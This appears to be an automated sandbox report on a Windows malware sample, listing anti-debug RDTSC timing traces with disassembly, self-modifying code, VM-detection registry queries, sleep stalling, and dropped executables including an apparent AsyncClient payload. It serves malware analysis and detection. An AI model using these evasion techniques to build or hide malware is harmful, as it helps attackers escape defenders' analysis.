Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0026F second address: 4A0029F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD7BCB87A1Eh 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FD7BCB87A24h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A0029F second address: 4A002AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002AE second address: 4A002C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A24h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002C6 second address: 4A002DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7BCC58FDAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A002DD second address: 4A002E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0008 second address: 49B000C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B000C second address: 49B001F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B001F second address: 49B003D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 call 00007FD7BCC58FDBh 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push ebx 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B003D second address: 49B0073 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 jmp 00007FD7BCB87A22h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD7BCB87A27h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0073 second address: 49B00A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7BCC58FDDh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00A1 second address: 49B00A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00A7 second address: 49B00AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00AB second address: 49B00F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b pushad 0x0000000c mov edi, 547B11B8h 0x00000011 mov ebx, 7AAB9164h 0x00000016 popad 0x00000017 push edx 0x00000018 pushad 0x00000019 movzx eax, bx 0x0000001c movsx edx, ax 0x0000001f popad 0x00000020 mov dword ptr [esp], ecx 0x00000023 jmp 00007FD7BCB87A1Ah 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FD7BCB87A27h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B00F2 second address: 49B015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD7BCC58FE1h 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov bh, al 0x00000013 mov ax, dx 0x00000016 popad 0x00000017 mov ebx, dword ptr [ebp+10h] 0x0000001a pushad 0x0000001b push eax 0x0000001c movsx ebx, ax 0x0000001f pop esi 0x00000020 popad 0x00000021 push esi 0x00000022 pushad 0x00000023 jmp 00007FD7BCC58FDDh 0x00000028 popad 0x00000029 mov dword ptr [esp], esi 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f jmp 00007FD7BCC58FE3h 0x00000034 mov ch, AFh 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0242 second address: 49B028F instructions: 0x00000000 rdtsc 0x00000002 call 00007FD7BCB87A28h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a movsx ebx, cx 0x0000000d popad 0x0000000e or edx, dword ptr [ebp+0Ch] 0x00000011 jmp 00007FD7BCB87A1Ah 0x00000016 test edx, 61000000h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FD7BCB87A27h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B028F second address: 49B02A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCC58FE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02A7 second address: 49B02C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007FD82F0F5DE6h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 mov ch, 4Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B02C3 second address: 49B0303 instructions: 0x00000000 rdtsc 0x00000002 mov al, dh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FD7BCC58FE8h 0x0000000b mov bx, cx 0x0000000e pop ecx 0x0000000f popad 0x00000010 test byte ptr [esi+48h], 00000001h 0x00000014 pushad 0x00000015 mov bh, D8h 0x00000017 call 00007FD7BCC58FE4h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A08D4 second address: 49A08D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A08D8 second address: 49A08EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A08EB second address: 49A0950 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FD7BCB87A1Eh 0x00000010 and esp, FFFFFFF8h 0x00000013 pushad 0x00000014 mov edx, ecx 0x00000016 pushfd 0x00000017 jmp 00007FD7BCB87A1Ah 0x0000001c sub ax, BB58h 0x00000021 jmp 00007FD7BCB87A1Bh 0x00000026 popfd 0x00000027 popad 0x00000028 xchg eax, ebx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD7BCB87A20h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0950 second address: 49A095F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A095F second address: 49A09C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD7BCB87A1Fh 0x00000008 mov esi, 0AC6ACDFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jmp 00007FD7BCB87A25h 0x00000016 xchg eax, ebx 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FD7BCB87A1Ch 0x0000001e xor eax, 431CEA78h 0x00000024 jmp 00007FD7BCB87A1Bh 0x00000029 popfd 0x0000002a mov ax, 1DAFh 0x0000002e popad 0x0000002f xchg eax, esi 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 push edi 0x00000034 pop esi 0x00000035 mov edi, 5DC1EA3Eh 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A09C1 second address: 49A0A0E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, 7B3F1031h 0x00000008 pushfd 0x00000009 jmp 00007FD7BCC58FDEh 0x0000000e add si, 5408h 0x00000013 jmp 00007FD7BCC58FDBh 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push eax 0x0000001d pushad 0x0000001e mov esi, ebx 0x00000020 mov ecx, ebx 0x00000022 popad 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FD7BCC58FE8h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A0E second address: 49A0A31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD7BCB87A21h 0x00000008 movzx eax, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov esi, dword ptr [ebp+08h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A31 second address: 49A0A45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A45 second address: 49A0A4D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0A4D second address: 49A0AA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ebx, 00000000h 0x0000000c jmp 00007FD7BCC58FE6h 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 mov bx, cx 0x00000017 mov bx, cx 0x0000001a popad 0x0000001b je 00007FD82F1CE8EBh 0x00000021 pushad 0x00000022 mov di, C864h 0x00000026 popad 0x00000027 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002e push eax 0x0000002f push edx 0x00000030 jmp 00007FD7BCC58FE6h 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0AA4 second address: 49A0ADD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, esi 0x0000000b pushad 0x0000000c call 00007FD7BCB87A24h 0x00000011 movzx eax, dx 0x00000014 pop edi 0x00000015 mov ebx, eax 0x00000017 popad 0x00000018 je 00007FD82F0FD2E8h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0ADD second address: 49A0AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0AE1 second address: 49A0AE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0AE7 second address: 49A0B1A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test byte ptr [76FA6968h], 00000002h 0x00000010 jmp 00007FD7BCC58FE0h 0x00000015 jne 00007FD82F1CE880h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e mov eax, 5C813E23h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B1A second address: 49A0B43 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A28h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx esi, bx 0x0000000c popad 0x0000000d mov edx, dword ptr [ebp+0Ch] 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B43 second address: 49A0B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B47 second address: 49A0B5D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0B5D second address: 49A0BB6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD7BCC58FE1h 0x00000009 sub si, A236h 0x0000000e jmp 00007FD7BCC58FE1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FD7BCC58FE0h 0x0000001a xor esi, 62C5E158h 0x00000020 jmp 00007FD7BCC58FDBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0BB6 second address: 49A0BD1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0BD1 second address: 49A0C40 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FD7BCC58FE1h 0x0000000f xchg eax, ebx 0x00000010 jmp 00007FD7BCC58FDEh 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 jmp 00007FD7BCC58FDEh 0x0000001c mov edi, eax 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FD7BCC58FE9h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0C40 second address: 49A0C46 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49A0CD0 second address: 49A0D1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FD7BCC58FDEh 0x0000000f pop ebx 0x00000010 jmp 00007FD7BCC58FE0h 0x00000015 mov esp, ebp 0x00000017 pushad 0x00000018 mov si, F1ADh 0x0000001c mov dl, ah 0x0000001e popad 0x0000001f pop ebp 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 mov bx, 70F4h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0C10 second address: 49B0C5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cl, 6Dh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushfd 0x00000010 jmp 00007FD7BCB87A1Fh 0x00000015 sub ecx, 0537495Eh 0x0000001b jmp 00007FD7BCB87A29h 0x00000020 popfd 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0C5B second address: 49B0CAA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FD7BCC58FDCh 0x00000014 sub ch, FFFFFF88h 0x00000017 jmp 00007FD7BCC58FDBh 0x0000001c popfd 0x0000001d call 00007FD7BCC58FE8h 0x00000022 pop eax 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0CAA second address: 49B0CC5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A27h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0CC5 second address: 49B0CFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FE9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD7BCC58FDEh 0x00000011 mov ebp, esp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0CFB second address: 49B0D18 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D18 second address: 49B0D28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCC58FDCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D28 second address: 49B0D2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09B0 second address: 49B09E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push ebx 0x00000006 mov cx, AFF3h 0x0000000a pop eax 0x0000000b popad 0x0000000c mov ebp, esp 0x0000000e jmp 00007FD7BCC58FDFh 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD7BCC58FE5h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09E5 second address: 49B09F5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD7BCB87A1Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B09F5 second address: 49B09F9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20D2D second address: 4A20D31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20D31 second address: 4A20D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCC58FDFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20D44 second address: 4A20DA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 pushfd 0x00000007 jmp 00007FD7BCB87A20h 0x0000000c xor si, B588h 0x00000011 jmp 00007FD7BCB87A1Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b jmp 00007FD7BCB87A29h 0x00000020 xchg eax, ebp 0x00000021 jmp 00007FD7BCB87A1Eh 0x00000026 mov ebp, esp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b movsx edx, ax 0x0000002e mov ecx, 2D60B365h 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A20DA6 second address: 4A20DBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, A2h 0x00000005 push esi 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD7BCC58FDBh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A2002F second address: 4A20079 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD7BCB87A1Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FD7BCB87A1Ch 0x00000011 xor si, 7A18h 0x00000016 jmp 00007FD7BCB87A1Bh 0x0000001b popfd 0x0000001c mov eax, 429A8DCFh 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007FD7BCB87A20h 0x0000002a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 21EDB5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 21EE94 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 3C0D4B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BCEDB5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: BCEE94 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D70D4B instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Memory allocated: 2D00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Memory allocated: 3070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Memory allocated: 32E0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\79F6.tmp.AsyncClient.exe	Memory allocated: 3070000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Memory allocated: 1450000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Memory allocated: 2F00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Memory allocated: 4F00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Memory allocated: 2660000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Memory allocated: 26D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Memory allocated: 46D0000 memory reserve \| memory write watch

Source: C:\Windows\explorer.exe	File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04A20489 rdtsc

0_2_04A20489

Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\861C.tmp.Build.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1218	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1218	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1209	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1238	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 362	Jump to behavior
Source: C:\Windows\System32\audiodg.exe	Window / User API: threadDelayed 794	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 9706	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 469	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 407	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Window / User API: threadDelayed 3270
Source: C:\Users\user\AppData\Local\Temp\6737.tmp.fcxcx.exe	Window / User API: threadDelayed 855

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1015203001\9a445eef2c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1015204001\45777d8908.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1015201001\58f855a64b.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file

Source: C:\Windows\System32\audiodg.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_13-1145
Source: C:\Windows\System32\msiexec.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_15-1159
Source: C:\Users\user\AppData\Local\Temp\1015193001\K6UAlAU.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_7-1146
Source: C:\Users\user\AppData\Roaming\232B06DEE822786254513\232B06DEE822786254513.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_12-1201
Source: C:\Windows\System32\svchost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_14-1144

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6604	Thread sleep time: -48024s >= -30000s	Jump to behavior
